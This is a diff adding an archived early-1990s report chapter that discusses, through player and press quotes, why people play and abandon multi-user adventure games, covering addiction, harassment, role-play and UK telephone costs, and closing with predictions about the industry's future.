Discussion. + +7.1 Organisation. + + This section contains a selection of representative quotes on a variety +of MUA-related subjects. Some of the quotes presented are solicited, unlike +those in previous sections; most, however, are taken without permission from +public sources such as magazine articles, bulletin boards, and InterNet's +rec.games.mud list. + + Between quotes are connecting paragraphs advancing the main points. At +the end of each subsection is a summary. + +7.2 Why Do People Play? + + The first and most obvious reason people play MUAs is because it's fun +to do so. In some cases, 'fun' is perhaps too weak a word, however: + + "There was little doubt that playing MUD was exciting and + stimulating. After one long evening interview, wishing to + experience the game first hand, I agreed to join a player as he + prepared to access Essex. Not all who wished to play could, as it + was strictly on a 'first come, first served' basis, and as the + methods of access were no straightforward much of the excitement + seemed to hinge upon whether one could gain entry. While waiting + to see if his efforts had been successful, the interviewee thrust + his wrist to me to feel his racing pulse. He did not get in, but + stated that he always got an 'adrenalin high' before and during + play." + Margaret Shotton + [Computer Addiction? A study of computer dependency] + + Many MUA players feel this kind of a buzz playing the game - +particularly killers, ie. those who attack other personae with intent to cause +them harm. The 'thrill' of the hunt can be so strong that it doesn't always +matter who wins the eventual fight - and in many ways, if the killer is taking +a risk then it can be an even greater attraction (like gambling). Similarly, +role-players can enjoy deceiving other people into believing things that aren't +true, although realising that someone has attempted to trick you is rarely as +exciting as avoiding persona death in a fight. + + Contrast the heart-pounding excitement of the above MUD1 player with +the faint enthusiasm of a TinyMUD veteran: + + "Why do I MUD? Same reason you use the phone. And it's a lot + cheaper." + Bryant Durrell [Islandia founder] + + Here, it's mere convenience that determines why Durrell plays. +TinyMUDs have little or no puzzles, exploration is seldom rewarding, so they +settle down into chatlines. Players who met when the game first started, and +were learning to build rooms together, struck bonds of friendship. However, +when the futility of that activity sinks in, they just sit around talking. New +players don't get the same initial fun, so don't play for very long, and older +players are lost through general attrition. Eventually, the game/chatline is +deserted. + + (The reason it's cheaper, incidentally, is because Durrell uses +InterNet, so the costs are borne by others). + + So it seems there is a distinction between a MUA that models reality in +some way and one that merely provides chatline facilities, with the former +having more staying power than the latter because the emotional talons with +which it holds its players are stronger. Why is this so, though? Why should +interaction that occurs in a computer-moderated fantasy world be any more +gripping than straight CB-style interaction? + + "I remember the first time I was killed in MUD - it was deliberate. + I was in tears. I really knew what it was like to be dead, the + simulation was so real." + An interviewee (male) + [Computer Addiction? A study of computer dependency] + + The reason is that a good MUA can be believable. If it works the same +way as the real world, then the players use the same mind-set as if they were +in the real world, and hence emotional response to events in the MUA world are +as if they were affecting the player directly in the real world. In a chatline, +nothing happens; people don't interact, they merely communicate. Whatever, +there must certainly be some other players - a SUA may be lifelike, but it's +essentially private. For a world to seem truly real, it must be a shared +experience. + + "One thing is for sure, and that is that the multi-user feature is + very important." + Lars Pensjo [LPMUD author] + + If, however, MUA worlds can seem to the players like they are real, +should events that take place in these worlds be treated as if they were +real-world events? Or are they distinct? Should players shrug off what happens +to them? What if they can't? + + "MUDs are games. Deal with it." + Clay Webster [player] + + This is a popular view: people who are unable to switch off when they +leave a MUA ought to learn to do so, because the bottom line is that a MUA is +just a game, and haranguing people about what they did in the game is as +pointless as haranguing authors about what happened in books they wrote. This +viewpoint is held mostly by people who have never played a MUA, have played but +never let themselves become emotionally absorbed by it, or who play killer +personae in order to get a kick out of annoying someone who doesn't hold the +"MUAs are games" viewpoint. + + Surely, though, things which wield this kind of emotional power over +people can't be mere games? The passions roused in (traditional) MUAs have the +kind of fire to them normally reserved for religious or political evangelism. +People aren't so much playing the MUA as living it. + + "Ready for the shocker? Reality is a game. It has rules (physics), + players (life forms), and many goals. ... I won't deny that MUDs + are games, but if that is so then reality can also be considered a + game." + Ray Cromwell [TinyMUD player] + + This argument is intended to show by reducto ad absurdum that MUAs (or +at least TinyMUDs) aren't really games, because if they were then everything is +a game. However, perhaps it be applied in reverse: if real life is as much a +game as is a MUA, perhaps MUAs are as much a reality as real life? + + "My MUD philosophy is that it's more than just a game, it's a + virtual reality." + Bruce Woodcock [TinyMUD player] + + Correct. Although the popular conception of virtual reality is a mass +of electronic headsets and cybergloves containing Tomorrow's World presenters, +MUAs are precisely the same thing, only instead of the images being generated +by a computer they're created by the imagination of each individual player. + + The 'virtual' in 'virtual reality' is used in the same sense as +'virtual image' in optics: the appearance of a real reality is there, but it +actually doesn't exist. However, if it truly doesn't exist, then nothing that +occurs in it really happens either, and therefore it should have no effect on +the real world (which, we assume, does exist). + + "All repeat after me: IT'S ONLY A GAME!" + Anton Rang [TinyTalk author] + + The crucial point is that the virtual reality does exist; not in the +same way as real life, but as a conceptualisation which can have an effect on +people in real life. + + "I'm hesitant to label it 'just a game'. Sure it looks like a game. + It uses a text-adventure metaphor for social interaction. + However, that geeky phrase doesn't even *begin* to convey the + complexities of 'what mud is'." + Stephen White [TinyMUCK author] + + When a player like Shotton's interviewee controls a persona in a MUA +and becomes absorbed to such an extent that he is oblivious to the real world, +concentrating only on the virtual reality, then the player and his persona +fuse; he 'becomes' his persona in that MUA. As far as the player is concerned, +things are happening not to the persona but to he himself. He can do things +that are impossible in the real world, and be whoever he wants to be. That's +the attraction. + + Of course, a sudden change back to real life is going to be jarring. +The emotions felt by the player as he lived in the virtual reality cannot be +shaken off when he leaves that reality any more than real life emotions can be +dismissed at the drop of a hat. No wonder Shotton's interviewee cried when his +persona - ie. he himself - was killed in MUD1. + + MUAs are not merely chatlines with games screwed on top; rather, they +are a whole that is greater than the sum of these two parts. Of course, a good +deal of their insidious attraction is that they can lure not just people who +want a virtual reality buzz, but ones who simply like games and ones who simply +like chatlines. People who just like talking can do that in a MUA if they want +to. TinyMUD has a very weak 'learn what to do' game about it when it is first +installed at a site, and then it rapidly degenerates into a chatline; however, +even then it has enough of a virtual world about it to have prompted this +recent posting on InterNet: + + "I was thinking about things today, and realised that I was + spending more than 8 hours a day MUDding, skipping classes and + ignoring homework in favour of all the socialisation of the MUDs. + It also hit me that I was going to flunk out of college if I + didn't stop it. I'm addicted bad. Real bad. ... To all of you who + insist that MUD is a game, I disagree. MUD is a socialisation tool + that just happens to allow you to go adventuring and solve + puzzles. Problem is, that I over-used it, to the exclusion of a + real life." + Garth Minette [ex-TinyMUD player] + + MUAs are very addictive. Chatlines can be addictive, and games can be +addictive, but neither compares remotely with what a MUA can do to people. It +happens in all MUAs: + + "The burnout player has a very clear profile - he is a very active + player who cannot be missed when he is in the game, he is chatty + and likeable, a fighter (but not very good), and he sparkles, + bubbles, burbles and froths all over chat. Above all, he wants to + be involved with everything. The symptoms are very obvious from + the outset: long hours of play every day may gradually move into + peak time, followed by a furious activity towards the end of the + first quarter, with a 'well I might as well be hanged for stealing + a sheep as a lamb' attitude just before the bill arrives. Then the + painful farewell to friends and enemies moments before dad + consigns the modem to the dustbin. Then, silence forever. He is + never seen again. Burnout." + Pip Cordrey [IOWA owner] + + Apart from the predictable grouse about telephone charges, Cordrey has +a genuine point here. People who like the world offered by a MUA more than +they do the real world will often spend a lot of time there. If they are +obliged to pay for their time after having played, and are aware that they +can't, they'll play as much as they can before being cut off. This will +increase their addiction even more, and when the phone is finally disconnect +then the sudden wrench from the MUA can be devastating. Players have described +it as 'cold Turkey'. + + "MUDs are addictive, as we who play them are well aware. Gibson and + the rest were right about the addictive possibilities of + cyberspace. They were just wrong about the magnitude." + Bryant Durrell [Islandia founder] + + The intersection between game and chatline which is so addictive is a +form of role-playing. The term is appropriate, however note: + + "Role-playing games have attracted some criticism; US religious + fundamentalists have managed to conflate them with satanism and + other evils - such as psychiatry." + Computer Weekly [magazine] + + That's why these days, in discussing their relationship to their +persona, smart American MUA players stay on the virtual reality bandwagon. + + "In my case, Sir Bruce Sterling is mostly me. His words are + generally my words in that situation, his actions often the ones I + would take. But there are slight differences. I can do things in + MUDs I can't in real life, which allows options I don't have in + real life. And when I kill in virtual reality, it doesn't mean I'd + actually kill under the same circumstances in real life, since + no-one *really* dies or even ceases to exist on MUDs if they are + killed." + Bruce Woodcock [player] + + Why is role-playing seductive? Its principal attraction is that it +allows players to be someone else, to take on an assumed identity. They can be +themselves, but when things go wrong they don't feel so bad about it. Anonymity +is the key. + + "Considering my MUD persona - and I only have one, which probably + says a lot in itself - there are a lot of similarities. I + definitely hide behind the anonymity, but share a large number of + traits (not all good) with my MUD personality." + Mike Prudence [player] + + Anonymity also enables players to take on completely different roles, +behaving outrageously, safe in the knowledge that they can't be hurt in the +real world. + + "Interaction can mean anything from kissing to killing or + stealing." + The Economist + + Often, this involves sexual manipulation - sometimes subtle, but not +always: + + "The hozer: 'Yo, babe! I got this amazing ten-inch love muscle. + Wanna date? Lie down and spread your legs.' Hozers are usually + college freshmen with no social skills who can't get sex any other + way. They tend to skew the male/female ratio on MUDs even further + by causing all female characters in the vicinity to change to male + or gender-neutral characters." + Lauren Burka [TinyMUD player] + + The ability to live out sexual fantasies in a MUA does attract certain +people, especially to games set up precisely for that purpose (eg. Zone). This +can cause managerial problems if it is uninvited. Something common in all MUAs, +though, is cross-gender playing. Most male players play female personae +(usually admitting that they are really male if questioned) and many female +players play male personae (usually not admitting it if asked). Sometimes, +males playing females will attempt to get themselves picked up by players they +think are male: + + "The slut: 'Hey, does anyone here want a blow-job?' The slut comes + in all different shapes and sizes, but her description always + includes mention of her luscious lips and prominent nipples. 95% + of all sluts are played by male players. Most of these used to be + hozers." + Lauren Burka [TinyMUD player] + + Rarely will this totally brazen technique fool anyone, but an +accomplished role-player can build up amazingly detailed on-line relationships +over time. Quite what the fun in this involves is hard to say - it's probably +to do with enjoying manipulation other people, although the challenge of +role-playing may be a significant factor. Certainly, it can lead to tragic +cases where a player falls in love with a persona played by someone of their +own gender (almost invariably they're both male - females don't appear to +indulge in this kind of thing with quite the same dedication). Most MUAs will +have that happen to them at some time in their history unless they're very well +managed. + + Male players in some games have developed a defence against the +possibility that the female persona that they are talking to is actually male: + + "If you see a persona with a female name, it's really a male. If + they come up and talk all feminine and giggle, it's still a male. + If they phone you, meet you in a park, chat for two hours about + MUD and produce logs of their games, it's still a male playing the + persona. If you actually see them sitting down, playing the game, + behaving just like they do when you've snooped them, then they + might be the real thing but the chances are they're not. You can't + be too careful!" + Richard Bartle [Comms Plus!] + + Except in games with a near-even male/female ratio, many women adopt +the same attitude: + + "Perhaps it's because women are so scarce on the computers that + some men haven't realised that they don't have to talk any + differently to us. I know that some women conceal their gender + from those who think that just because someone says that they are + female, this is an invitation to be harassed. This loss of + freedom seems to be a high price to pay to get respect." + Paola Kathuria [Comms Plus!] + + The 'freedom' Kathuria is talking about is that of being able to be +yourself. Many new female players will be scared off by male players trying to +chat them up all the time, and will not play as male personae because they +object to being forced into a role by the attitudes of others. + + For those women who play openly as females, a barrage of pick-up lines +can be expected (not normally meant to be offensive, just very numerous because +there are many more males per female player). Once this has died down, women +can play pretty much the same way as men. By then, however, male players will +often have formed a visual impression of them that might not fit physical +reality. + + "In my experience, unless I have got to know someone well enough to + call them a (platonic) friend, after face-to-face meetings things + are never the same back on the talkers. I have therefore developed + a rule of not meeting people while I am getting to know them and + instead just relish wanting to meet them. I am inclined to think + that if I were male there would be no problem. I put this down to + my hunch that when men meet women on a computer the way women are + imagined to look like tends to be more like an ideal than someone + who may be skinny or fat, spotty, six feet tall or four feet + short. I know that when I started to meet people I had a real + shock when I found out they wore glasses or had a beard." + Paola Kathuria [Comms Plus!] + + This reluctance to meet people face-to-face is quite sad in a way, +because whereas more men than women get immediate pleasure from role-playing, +more women than men find that their true enjoyment manifests itself in the way +in which friendships and companionship can form between players over time. + + "The biggest attraction for me would have to be the people here. I + have developed many friendships that I will cherish for years to + come." + Stargazer [BL player] + + In two games at least (Shades and British Legends), players have +married people whom they first met in the game. If female players don't want to +go to face-to-face meetings for fear of shattering their friends' illusions of +them, it can detract from their overall enjoyment of the MUA. Long-standing MUA +players who may have jealously guarded their anonymity initially will often +gladly turn up at face-to-face meetings to renew their friendships. + + "One of the most interesting features of the MUG phenomenon is + their social aspect, not just in the game but outside as well. + Every game holds social gatherings, and at these events all the + players get together and enjoy meeting the people behind the + personae. It's always amazing to see people who were battling each + other in cold fury the previous evening sitting down together over + a pint discussing tactics." + Pip Cordrey [Confidential] + + To summarise, then: chatlines can be addictive, games can be addictive; +combining the two should therefore be addictive, and yes, MUAs do attract +people who like chatlines and people who like games. However, MUAs can exert an +influence over a large number of these players out of all proportion to that of +either a chatline or game alone. MUAs have an emotional hold over their +players which stems from the players' ability to project themselves onto their +game personae, feeling as if the things which happen to the game personae are +happening directly to the players themselves. + + When persona and player fuse, as they do in a good MUA, events are +given an impact far beyond that of the mere words that convey them. The game's +virtual reality becomes (temporarily) the player's reality. Players can do +things and have things done to them that are impossible in real life; they can +experience feelings and imbue feelings in others that real life denies them. +It's the belief that things are happening to you, not to a game persona, that +makes MUAs unique. + + This must be understood by the reader. The really exceptional thing +about interactive, multi-user computer games of the MUA variety is not that +you're chatting to someone miles away (although that can be fun), and it's not +that you're competing against a real human instead of a machine (although that +can also be fun); it's that you're existing in another world. That's the root +of their appeal. + + "You get very excited with adventure games. Your adrenalin goes up + and you get very tense. It's fascinating that you forget you are + hunched over a computer and that others are - you feel you are all + together in the magic land of MUD. It's a further extension from + reading a book. It's totally engrossing - the mind is focused on + one thing and you don't notice anything else." + An interviewee (female) + [Computer Addiction? A study of computer dependency] + + +7.3 Why Do People Not Play? + + If MUAs are as entertaining as has just been claimed, why do some +people start playing them and then give up shortly afterwards? + + New players are the lifeblood of MUAs, as they are needed to replenish +the older players who stop playing for personal or financial reasons. They also +stop a game from becoming sterile. Hence, most MUAs make some effort to keep +new players for long enough to get them hooked. + + One of the things commonly cited as a reason for not playing a MUA is +that it is too daunting. There is a class of person that finds huge amounts of +pre-game reading a real appetiser for the game, and who by the time they've +read all the documentation will be raring to go. Many people do not like it, +however. They want simple, basic instructions, and they don't want to be told +just how much they'll need to know to play the game in earnest - it's just too +awesome. + + The best way to achieve this is by means of on-line help. Players can +ask for assistance on specific game-related topics, and the game will give them +details. Purists argue that this spoils the atmosphere, but it's necessary if +players are to learn gradually rather than be put off by an initial flood of +facts. + + "Virtual reality is not hurt by being able to find out how the + virtual reality is mapped to the real reality at any time. It's + very unrealistic not to be able to whisper to someone because I + forgot the command and the help command is not global. Sheesh." + Lee Brintle [player] + + However, the crucial factor in ensnaring new players into a game is how +the other players react. New players are often confused in their first session, +and longer-standing players can help enlighten them. + + "If you give people a little guidance, they'll all pull in the same + direction, rather than one zillion different directions." + Mike Prudence [TinyMUCK player] + + Unfortunately, the behaviour of other players is as potent in its +ability to scare off newcomers as it is to welcome them. In male-heavy games, +women have special difficulties as outlined earlier. However, everyone suffers +verbal abuse from time to time from anonymous personae. Older players will +dismiss it without comment, but newcomers (and especially journalists looking +for a story) are often shocked, and can easily be driven away (which is, of +course, exactly what their abuser intended). + + "One of the most annoying things is when I'm sitting in a public + (or private) place and someone comes by and starts swearing and + insulting me and everyone else in there." + Gregory Blake [player] + + Proper game management, especially the ability of arch-wizzes to find +out to which account any persona belongs, can do a great deal to stop these +practices. However, they'll always be open to misuse by people using guest +accounts, where no link between a persona and a real person can be determined. + + Swearing and sexual innuendo can creep into any public service with a +chatline component - 'sleaze' is the term used to refer to it. Due to +mismanagement in some MUAs, eg. Shades, an attitude has set in that this is +somehow inevitable, and that when anyone plays a MUA the result is a +transformation comparable with that of Dr Jekyll's to Mr Hyde. Since this can +be used as an argument against allowing MUAs at all, it is important that it be +recognised as fallacious. + + "Computer interaction seems to make people nastier and more + obnoxious. It doesn't: it merely gives the rude and ignorant more + efficient and anonymous means to display their rudeness and + ignorance." + Lauren Burka [TinyMUD player] + + In other words, MUAs don't make people behave badly; all they do is +enable people who want to behave badly to do so. In a properly organised MUA, +bad behaviour by an individual will occur at most twice: the first time, if +they appear to have thought it was OK to do what they did, they'll perhaps be +let off with a stern warning; the second time, they're ejected. Games that +allow wrongdoers to return have a harder time of maintaining discipline. That +said, when people play MUAs their emotions are often difficult to contain, so +when disputes do break out they can escalate rapidly. + + Note that sleaze is not limited to MUAs, and that BT is very sensitive +about it: + + "Should you receive offensive or abusive material over any of our + data transmission services or feel that material on a database is + offensive and you wish to complain, please register your complaint + in one of the following ways. ..." + W. R. Broadhead + [head of BT MNS Customer Service Unit, + in a letter to PSS customers] + + It is impossible to deal with sleaze so long as narrow-minded +individuals have access to a system and know they cannot be traced. Automated +censorship is presently impossible - computers would throw out words like +'Scunthorpe', and if they didn't then players would use them as swearwords. + + To summarise: new players will lose interest if they find a game looks +too complicated to play, or if it is too sleazy for them. More experienced +players will leave if sleaze gets really bad, but otherwise have a higher +tolerance of it. Good game management can reduce the amount of sleaze, in the +same way as good Home Office policing can reduce the amount of sleaze on ham +radio. However, it can't ever be removed 100%. You can discourage people from +breaking a code of acceptable behaviour (eg. by throwing them out), but you +can't actually stop them from breaking it. + + "If you think about it, you will realise that a game is just a + coded collection of rules. With a multi-user adventure these + rules are complex, and defy being entirely coded. So some + externally applied rules have to exist. The purpose of rules in + the game is to ensure that the game is fair and enjoyable to all + players." + Pip Cordrey [IOWA owner] + + +7.4 Why Do People Stop Playing? + + MUAs do lose long-standing players. Sometimes it's because the games +are boring, or no longer games (as with TinyMUD and derivatives). Other times, +the players or their circumstances change: they get older, change job, die, +move house, marry, have children. + + However, in the UK at least, the main reason that people stop playing +is because telephone charges are too high. The evidence for this is +overwhelming - almost every professional article on the subject complains about +the cost. + + "The main obstacle to MUD, and similar programs, gaining a wider + airing is the cost of making a telephone call." + Popular Computing Weekly [magazine] + + + "The problem area with this way to play is the cost and speed at + which it operates. Current costs are prohibitive." + New Computer Express [magazine] + + + "These games are expensive to play, habit forming, and rapidly + becoming big business." + PC Plus [magazine] + + + "No MUG is free when it comes to your telephone bill!" + GM [magazine] + + + "Maybe the forthcoming changes to BT might lead to a more + enlightened attitude to telephone charges for this type of + service. For the home user, however, MUD playing will be limited + to the rich or the resourceful." + The Times + + The service BT provides is held in contempt by everyone in the +commercial comms field. Usage patterns for MUAs are very different to those of +voice users, with players commonly sitting down for several hours at a stretch +playing a game. During that time they are, of course, occupying slots on the +same exchanges that normal telephone users are paying full-price to use, +however since they have no choice in the matter it can hardly be said to be +their fault. Even the absolute minimum price for a local telephone call in the +UK works out at 5.06p per 240 seconds, ie. L0.759/hour; for a long-distance +call, it's 5.06p per 38 seconds, ie. L4.794/hour. An evening of playing even a +free MUA would cost the players anything between L2 and L14 each. Even for +commercial games, the bulk of the money players pay ends up in BT's coffers. + + BT is very complacent about all this; after all, it's making money by +doing nothing, so why bother? Indeed, since there are some people who +apparently spout sleaze in these games, perhaps it would be better in the long +run if they were all shut down? Less hassle for all concerned... + + BT could make a lot more money from MUAs if it dropped its prices. One +large phone bill will drive a person off a MUA, whereas they are likely to +accept smaller ones over a much longer period. L300 for one quarter nets BT +L300; L75 per quarter for two years nets BT L600. People don't play less when +the price goes up, they either continue to play or just stop. It's an issue +for Market Research to determine the exact trade-off point for maximum income, +but it's definitely below 75p/hour. + + Another important point is that although BT makes money from MUAs, +they're commercially unattractive to games companies. Players are prepared to +pay only a certain amount per hour to play, but if BT takes the lion's share of +that then there's little profit for the MUA authors. This means companies that +specialise in computer games prefer to invest their energies elsewhere, and so +the number of commercial MUAs is small. The more games there are, the more +players, and therefore the more income due to BT overall. + + BT does provide alternative services for its users. Most of these +suffer from the fact that they are distance-dependent: most telephone numbers +may be local to London, but MUAs often hold a special appeal to people in +remote areas, for whom a long-distance call is 5 or 6 times as much. Present +facilities and their disadvantages are as follows: + +- PSS + Allows inexpensive data transfer compared to direct dial over a modem + long-distance, but is still a local call plus a high premium of several + pounds per hour (depending on the amount of data sent). + +- 0800 numbers + Players don't get big phone bills, they get big bills from the MUA owners, + who in turn get the big phone bills. If they are charged up front to use + the service, this can be beneficial - people don't get any nasty surprises. + Unattractive to MUA owners because it's distance-dependent, and local + callers subsidise distance callers. If, however, all calls to the number + cost the MUA owners the same, and that amount was equal to or less than the + price of a local call, it would be a very satisfactory option - especially + if the MUA providers could claim back the VAT on their phone bills. + +- 0345 numbers + These are numbers that are a local phone call from anywhere in the country. + They're a cross between 0800 calls and normal calls - long-distance calls + are subsidised by the owner of the 0345 number. If local call rate from + pretty well everywhere in the country could be guaranteed, with no hidden + charges, this would be a reasonable second-best option. + +- 0898 numbers + These are the premium call-rate numbers, where users pay enormous amounts + per minute and BT gives some of the resulting money to the 0898 number + owner. This would work well for MUAs if the prices weren't so incredibly + high - L19.80/hour. Bring it down to L1 or L1.50 an hour and it would be + more reasonable. Players would get even larger phone bills to pay all at + once, however, and thus may be even more inclined to give up their gaming. + +- Midnight Lines + Midnight lines allow their owner to pay a flat fee per quarter and make + unlimited phone calls any distance in the UK, so long as they do so between + midnight and 6am. Best used as a call-back system, where players dial the + game, give their password, log off, and the game calls them back on its + midnight line; this way, only the game needs the midnight lines, not the + players. The problem with these lines is that only the most hardened of + players will stay up so late before they can start to play. + + Given that BT's options are limited by its charter, there probably +isn't much scope for altering these services or providing similar ones. As far +as MUA players are concerned, the best solution is to have a service like the +0800 numbers where calls can be made from any distance and don't appear on the +users' phone bill. Different prices for different times of day are a reasonable +thing for BT to ask, but they should always be the same as or less than a local +phone call. The MUA provider would sell players 'credits', take these away from +their total at a certain rate depending on the time of day, and ask for more +when they ran out. In this way, players can see precisely how much the game is +costing them, can budget in advance, and have no nasty shocks when their phone +bills arrive: + + "In general, I think paying for credits in advance is definitely + better than running up a bill. It allows players to budget, and + avoids the problems a lot of new players could encounter of a huge + bill arriving after the first month or so, which puts them off + playing and therefore loses the game a customer." + Phil Purle [MUD2 player] + + From the MUA providers' point of view, the best solution is a service +like the 0898 numbers. This is because they'll get more people playing during +the day using their companies' resources; also, BT does all the billing. +However, the 0800-lookalike solution is probably fairer. + + A third alternative is for BT to charge the MUA providers a flat fee +for a number that can be dialled by anyone without costing them anything - a +sort of 0800/midnight/land line. This may be subject to time-of-day +restrictions, perhaps only working at cheap-rate times. Provided the cost of +doing this wasn't too large, it would benefit both the player (free calls to +the MUA in the evening) and the MUA (daytime calls from users on their company +phones). However, as a service it's perhaps a little complicated to operate. + + All this assumes use of the existing telephone network. There are +likely to be problems, however, in that providing new services primarily for +transmitting and receiving data doesn't ensure that they will be used for those +purposes. For example, if a company bought a data 0800 number that only cost +it local call access outside business hours, there is nothing to prevent its +being used for voice communication. It could, of course, be made a condition of +having such a line that there should always be a modem on the end, but this may +prove expensive to police. + + Although at this stage there is probably insufficient evidence to tempt +all but the most progressive of companies into setting up a data-oriented +network, nevertheless that's probably the best way to proceed. Certainly it +will be needed in the future, it's just a question of how long BT or their +competitors (such as they are) wait before implementing it (or realising that +they'll even need it - mind you, Finland has it already, and it's free). Local +phone calls to a special data node will doubtless be with us for some time to +come, but a national packet-switched data network that people don't require a +special account to use will come eventually. All they'd have to do is dial the +appropriate code for the data network followed by the number of the recipient, +and instead of being charged on a time basis they'd be charged on a data +transmitted/received basis. If CompuServe can knock up a system that gives +local call access to their mainframes from pretty well anywhere in the USA, BT +can surely manage something in Britain. + + Of course, if BT is ever allowed to run its services on a subscription +basis like cable TV, other avenues are open: + + "I do feel that you're best off following the example of US TV or + radio - don't charge the end-user if at all possible, and pull in + the revenue someplace else." + Bryant Durrell [Islandia founder] + + Summarising this, then, there are several options available for people +who wish to use IMPCGs. A very important consideration is the cost: if at all +possible, it should be standard countrywide, irrespective of distance; also, it +should be no more expensive than a local phone call - otherwise, why would +people a local call away bother with it? + + MUAs are played most frequently in non-business hours, which may give +some leeway in implementing changes to existing approaches. Of these, the most +favoured are where all the cost is borne by the information provider, either as +a flat fee per line or time-dependent as at present. + + Ideally, data communications should have their own network which +charges on a data sent/received basis rather than for time used. Voice sends +lots of data over a short period, but on-line services send smaller amounts +over a longer period, and furthermore can be carried more efficiently if their +computer-oriented nature is known. This, a datanet would achieve. + + "The quality of networked services in the UK is very poor, and I do + not wish the work that we have done up to this point to be swamped + by poorly managed highly commercial services." + Pip Cordrey [IOWA owner] + + +7.5 What Does the Future Hold? + + "With the software industry definitely looking for new ideas to + keep home computer users interested, the multi-user game is + strongly tipped as being a hot item." + Datamation [magazine] + + "At a time when the microcomputer software industry is entering a + period of crisis - the number of new ideas for computer games is + painfully small - the idea of multi-user games has been put + forward as the next big area for development." + Computing [magazine] + + MUAs are fun, rewarding to play, and compulsive. From a software +author's point of view, they're a dream: the software is not made public, so +there is no danger of piracy; people pay for them continually, they don't just +make a one-off payment; larger computers acting as a host mean that more +sophisticated games can be written than work on home micros. A pity BT takes +such a huge percentage of the revenue. Nevertheless, MUAs are definitely the +future. + + But what exactly is that future? The present trend in MUA design is for +games that allow players to add rooms etc. to it themselves. For many reasons, +this approach is unlikely to be successful commercially - quality, security and +the UK copyright laws are the main objections. However, that is not to say that +new alternatives should not be examined; too many MUAs these days are formula +issues that use the old, tried-and-trusted approaches. + + "The main thing hampering game development is the fact that the + people writing them are content to produce yet another Shades + clone. It seems that whilst there is a lot of enthusiasm for + writing your own games, nobody is willing to be a bit adventurous + and try and make things a little more complex." + Wabit [player] + + To seasoned players, the older MUAs look very dated. If members of the +general public were given a wider access to these games, then after a while +they'd come to feel the same way too. Unless work starts soon on the "next +wave" of MUAs, there'll be nothing there to take their place. + + "Hopefully, they will be replaced by new games, but who is going to + write them? And who is going to back them? BT don't need to + replace Shades, it still brings in the money..." + Wabit [player] + + The authors are there, but the backers aren't. Even CompuServe doesn't +commission games, it merely deigns to permit them on its network. Prestel will +allow companies access to its user base, but at L6,500 per entry point plus +L260 per channel, both sums charged annually, there are few takers. +Unfortunately, BT is too big an organisation for this to make much difference +to it, and its charter means that cross-subsidisation is not allowed; thus, +Prestel couldn't let new services join it for free in the knowledge that this +would generate income for the telephone division, because Prestel itself would +have to pay for the connection and would get nothing (or comparatively little) +in return. + + MUA authors and carriers generally agree on the next big step in MUAs: + + "I see it splitting several ways. There'll be the continuing + MUD/Shades type games, there'll be an increase in on-line + chat/conferencing systems concentrating on the 'social' side of + MUGs as they are, and there'll be the hard-edged commercial + things, probably graphical games." + Nigel Hardy [Comms Plus!] + + Graphics are seen as being the key to bringing MUAs to a wider +audience; sound, too, if possible. Viewdata, sadly, is nowhere near good +enough, despite Prestel's doggedness. + + "To market MUDs successfully, the interface between host and client + must be improved. It is a small percentage of the buying public + that will suffer through typing and reading to enjoy a few hours' + escapism. If someone were to combine the ease of watching + television with the interactivity of MUDs and make it available to + the world at large, they would soon put the passive networks (NBC, + ABC, BBC, ITV etc.) out of business." + Duncan Howard [author of An Introduction to MUD] + + Graphical MUAs are possible right now, it's just that no MUA author has +the financial clout to do anything about it. The approach is not to send +photographic images down the line, but instead to provide these on disc or +multimedia systems at the user end. The MUA host merely transmits a few control +codes that say "Print background 219, with a tree at co-ordinates (314, 16), +and Eric at (210, 101) with a face using identikit image 12/11/23/1/92." This +doesn't need ISDN telephone links, and it's the way games like Air Warrior +work. + + "Graphical MUGs won't work until the BT monopoly is broken and 15 + year olds can afford to play shoot-em-and-run type games over the + phone." + Graeme [Ripper author] + + IMPCGs in the future will, in general, be one of the following types: + +- Arcade style. + These will appeal to people who like blasting aliens. However, blasting + aliens is a lonesome thing, and players will not take kindly to being + blasted by other people. When teenagers play such games over the phone, + it'll be because that's a way the computer companies have figured they can + make more money out of it. Making people pay as they play is always going + to be more lucrative than making them pay once only. + +- Strategy. + These are mainly going to be two-player games between 'older' players of a + generation that came too early for AD&D. People enjoy playing things like + chess by post, and will enjoy playing such games by phone. They are + unlikely to come in their hordes, however; this is a niche market. Networks + will only be necessary as a place to meet opponents before playing direct- + dial. + +- Simulators. + The players take sides in a competitive environment of fast action and/or + skill. This covers everything from flight simulators to rock climbing. + Doubtless there will be people who want to play golf against a real human + being in a laserdisc rendition of the US Masters course, but whether + they'll keep coming back for more or grow tired when the novelty wears off + (or they keep losing) is uncertain. + +- Chatlines. + Not really games, but such a socially useful tool that despite the sleaze + factor they'll eventually conquer all. They'll appeal to people who are + prudish about playing games but who don't mind a little gossip. + +- MUAs. + Chatlines plus games. Unbeatable, except for people who "don't like + dragons and suchlike", ie. are too old or set in their ways. With graphics + and sound, they'll be absolutely sensational. + + There is going to be an enormous market for IMPCGs. Although the UK has +a significant lead in MUAs, it'll disappear in a couple of years once the US +academics get working on it in earnest, unless the UK industry is given +support. If not, it'll be brushed aside by the US and Japanese giants, +particularly purveyors of arcade games and simulators who have suddenly become +aware of "virtual reality" and may implement such systems leap-frogging +present-day MUAs completely. + + There is a demand for these simulator games, unquestionably. However, +the danger is that they will constitute all the games on offer. There's a +common misunderstanding among company people discussing playing games over the +phone: they think that the reason people do it is because they relish the +challenge of taking on a real human being in a test of skill. They don't. +People may have that idea initially, but any long-standing MUA player will tell +you that it's not really this that keeps people playing. To some extent it's +the social aspect of the game that holds the key, but the real juice is the +virtual reality. + + To summarise: single-player games that are modified merely by giving +them more players will probably have some considerable appeal. This will be +enough to satisfy their backers. However, shared virtual reality is where the +big bucks lie hidden, and the first company to make a top-notch graphical MUA +available to a large user base will clean up. + + "Business users pay for the system and we have to look after them, + but we get a lot of satisfaction from the home users who come on + the system in the evenings. They are the lifeblood - no, the SOUL + of MicroLink" + Derek Meakin [MicroLink chairman] + + +7.6 Conclusion. + + BT has been lucky enough to have the leading technology for IMPCGs take +root in its front garden. It can nurture this young shoot until it is strong, +then plant its seeds elsewhere, or it can dig it up and wait a few years until +someone else sells one at the garden centre. + + BT can watch or participate - preferably the latter. + + + "For adult educators and researchers, text-based virtual realities + offer an opportunity to enter a synthetic society either as + observers of the sociology (and sociopathy) of a predominantly + adolescent culture, or as mission-oriented contributors to the + informal education and enrichment of the young people populating + the ethereal world of Cyberion City." + Barry Kort [BBN scientist] diff --git a/textfiles.com/games/nec.txt b/textfiles.com/games/nec.txt new file mode 100644 index 00000000..b8f7043b --- /dev/null +++ b/textfiles.com/games/nec.txt @@ -0,0 +1,119 